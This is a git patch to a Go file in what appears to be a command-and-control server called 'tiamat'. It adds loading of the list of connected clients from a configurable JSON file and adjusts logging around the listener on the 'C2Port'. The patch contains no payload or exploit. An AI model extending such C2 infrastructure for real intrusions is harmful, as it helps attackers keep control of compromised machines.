From ebde90cce220956d2d05be48dfbbbe1f21c5d5a3 Mon Sep 17 00:00:00 2001
From: raul <raul@bulgariu.xyz>
Date: Fri, 7 Jun 2024 12:03:30 +0200
Subject: [PATCH] Add ability to recover clients from config file

---
 cmd/serverFunc.go | 32 ++++++++++++++++++++++++--------
 1 file changed, 24 insertions(+), 8 deletions(-)

diff --git a/cmd/serverFunc.go b/cmd/serverFunc.go
index 6f1c35d..67e7d10 100644
--- a/cmd/serverFunc.go
+++ b/cmd/serverFunc.go
@@ -13,10 +13,12 @@ import (
 )
 
 var (
-	C2Port         string = "1302"
-	clientList     []Client
-	clientIDs      int    = 0
-	clientJSONPath string = "/home/raul/.config/tiamat/clients.json"
+	C2Port     string = "1302"
+	clientList []Client
+	clientIDs  int = 0
+
+	isUsingJSONParameter bool
+	clientJSONPath       string = "/.config/tiamat/clients.json"
 )
 
 func (c Client) Instruct(i Instructions) error {
@@ -29,11 +31,26 @@ func (c Client) Instruct(i Instructions) error {
 }
 
 func recoverClients() error {
+	var fileToOpen string
+	home, err := os.UserHomeDir()
+	if err != nil {
+		return err
+	}
+	if isUsingJSONParameter == false {
+		fileToOpen = home + clientJSONPath
+		configPath := viper.GetString("Server.ClientPath")
+		if configPath != "" {
+			fileToOpen = configPath
+		}
+	} else {
+		fileToOpen = clientJSONPath
+	}
+
 	clients := ClientJSON{}
-	file, err := os.Open(clientJSONPath)
+	file, err := os.Open(fileToOpen)
 	if err != nil {
 		if os.IsNotExist(err) {
-			fmt.Println("CLIENTJSON DOES NOT EXIST")
+			log.Printf("Missing file at %v\n", fileToOpen)
 			return nil
 		}
 		return err
@@ -54,6 +71,7 @@ func recoverClients() error {
 }
 
 func Server() {
+	log.SetPrefix("[TIAMAT] ")
 	p := viper.GetString("Server.Port")
 	if p != "" {
 		C2Port = p
@@ -64,8 +82,6 @@ func Server() {
 		log.Fatalf("Error happened recovering clients: %v\n", err)
 	}
 
-	log.SetPrefix("[TIAMAT] ")
-
 	ln, err := net.Listen("tcp", ":"+C2Port)
 	if err != nil {
 		log.Fatalf("Error happened listening on C2 port: %v\n", err)